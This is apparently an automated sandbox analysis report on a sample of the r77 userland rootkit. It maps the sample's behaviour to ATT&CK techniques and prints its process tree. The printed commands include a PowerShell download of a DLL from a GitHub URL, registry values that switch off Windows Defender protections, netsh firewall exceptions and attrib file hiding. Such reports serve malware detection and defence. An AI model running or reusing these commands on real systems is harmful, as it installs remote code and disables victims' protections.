r77 | 361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	$77-.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	$77-.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	$77-.exe

R77 family
r77
r77
r77 is an open-source, userland rootkit.
rootkit r77

r77 rootkit payload 1 IoCs

Detects the payload of the r77 rootkit.

resource	yara_rule
behavioral2/files/0x000d000000023c86-49.dat	r77_payload

Blocklisted process makes network request 2 IoCs

flow	pid	Process
29	4864	powershell.exe
32	4864	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
32	4864	powershell.exe
60	2732	Process not Found

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4036	netsh.exe
3800	netsh.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4672	attrib.exe
2860	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1318997816-2171176372-1451785247-1000\Control Panel\International\Geo\Nation	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1318997816-2171176372-1451785247-1000\Control Panel\International\Geo\Nation	$77-.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-.exe	$77-.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-.exe	$77-.exe

Executes dropped EXE 1 IoCs

pid	Process
5048	$77-.exe

Loads dropped DLL 5 IoCs

pid	Process
4124	Process not Found
4192	Process not Found
1964	vssvc.exe
1336	Process not Found
2732	Process not Found

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	$77-.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1318997816-2171176372-1451785247-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77- = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-.exe"	$77-.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4864	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
25	discord.com
26	discord.com
31	raw.githubusercontent.com
32	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77-.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5108	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4864	powershell.exe
4864	powershell.exe
4960	powershell.exe
4960	powershell.exe
1964	vssvc.exe
1964	vssvc.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeDebugPrivilege	5048	$77-.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeBackupPrivilege	1964	vssvc.exe
Token: SeRestorePrivilege	1964	vssvc.exe
Token: SeAuditPrivilege	1964	vssvc.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe
Token: 33	5048	$77-.exe
Token: SeIncBasePriorityPrivilege	5048	$77-.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 4332	2052	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	91
PID 2052 wrote to memory of 4332	2052	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	91
PID 2052 wrote to memory of 4332	2052	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	91
PID 4332 wrote to memory of 4672	4332	cmd.exe	93
PID 4332 wrote to memory of 4672	4332	cmd.exe	93
PID 4332 wrote to memory of 4672	4332	cmd.exe	93
PID 2052 wrote to memory of 5048	2052	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	94
PID 2052 wrote to memory of 5048	2052	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	94
PID 2052 wrote to memory of 5048	2052	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	94
PID 5048 wrote to memory of 2720	5048	$77-.exe	95
PID 5048 wrote to memory of 2720	5048	$77-.exe	95
PID 5048 wrote to memory of 2720	5048	$77-.exe	95
PID 2720 wrote to memory of 2860	2720	cmd.exe	97
PID 2720 wrote to memory of 2860	2720	cmd.exe	97
PID 2720 wrote to memory of 2860	2720	cmd.exe	97
PID 5048 wrote to memory of 4036	5048	$77-.exe	98
PID 5048 wrote to memory of 4036	5048	$77-.exe	98
PID 5048 wrote to memory of 4036	5048	$77-.exe	98
PID 5048 wrote to memory of 3800	5048	$77-.exe	99
PID 5048 wrote to memory of 3800	5048	$77-.exe	99
PID 5048 wrote to memory of 3800	5048	$77-.exe	99
PID 5048 wrote to memory of 4872	5048	$77-.exe	102
PID 5048 wrote to memory of 4872	5048	$77-.exe	102
PID 5048 wrote to memory of 4872	5048	$77-.exe	102
PID 4872 wrote to memory of 4864	4872	cmd.exe	104
PID 4872 wrote to memory of 4864	4872	cmd.exe	104
PID 4872 wrote to memory of 4864	4872	cmd.exe	104
PID 5048 wrote to memory of 4960	5048	$77-.exe	106
PID 5048 wrote to memory of 4960	5048	$77-.exe	106
PID 5048 wrote to memory of 4960	5048	$77-.exe	106

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4672	attrib.exe
2860	attrib.exe

C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe
"C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4672
- C:\ProgramData\$77-.exe
  "C:\ProgramData\$77-.exe"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Modifies Windows Defender TamperProtection settings
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Windows security modification
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r "C:\ProgramData\$77-.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2720
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r "C:\ProgramData\$77-.exe"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2860
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\$77-.exe" "$77-.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4036
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\$77-.exe" "$77-.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\ProgramData\\r77-x64.dll');exit
      4⤵
      Blocklisted process makes network request
      Downloads MZ/PE file
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4864
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell" Get-MpPreference -verbose
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4960

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1964

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7ODEwQUExMjQtNkQyMC00MEZCLTg5ODktQkQ2M0E0RUYyQjY1fSIgdXNlcmlkPSJ7REIyRkJEQzgtRUY1Qi00OTE2LTlDM0YtRjE0QjdFNzgwMUY5fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7N0I5MDVGOTMtOUJGMS00REUyLUI2MzYtREEzMzc1RkFFOEVCfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI1IiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODMzNzEiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1NDE5Mjc1MzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1ODI3NjMxMTkzIi8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:5108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry